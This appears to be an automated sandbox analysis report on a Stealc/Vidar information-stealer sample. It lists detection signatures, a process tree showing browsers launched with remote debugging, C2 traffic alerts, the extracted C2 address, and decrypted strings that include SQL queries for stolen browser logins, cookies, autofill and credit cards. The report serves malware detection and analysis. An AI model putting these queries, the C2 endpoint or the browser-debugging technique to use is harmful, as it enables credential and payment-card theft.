Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545785
MD5:	099d997bef4d9cc5bdd88ed65af37b16
SHA1:	427503c7f125818c1952bf31d22e524680d1ad01
SHA256:	60f9c6ee13675d80ca2e15e0e785961bbe523e9dce5f8de7d4263c3cc3aa502a
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2232 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 099D997BEF4D9CC5BDD88ED65AF37B16)

chrome.exe (PID: 6948 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2528,i,17589902044594162779,8070341503384849355,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8096 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7500 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2476,i,630304271105429784,4614235616134142907,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7524 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2872 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8472 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6824 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8496 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6960 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6760 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7208 --field-trial-handle=2552,i,525046915237126550,6061750762854327539,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2156925914.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2612006536.0000000000A31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2613572766.000000000119E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2232	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2232	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2232	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2232	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.a30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2232, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6948, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:17.444022+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:17.419496+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:17.716657+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:18.819842+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:17.733466+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:17.135634+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:19.381979+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T01:18:51.446761+0100	2803304	3	Unknown Traffic	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:52.694267+0100	2803304	3	Unknown Traffic	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:53.289161+0100	2803304	3	Unknown Traffic	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:53.847823+0100	2803304	3	Unknown Traffic	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:55.078396+0100	2803304	3	Unknown Traffic	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:55.520695+0100	2803304	3	Unknown Traffic	192.168.2.5	49962	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.a30000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.a30000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.a30000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: history
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: History
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: plugins
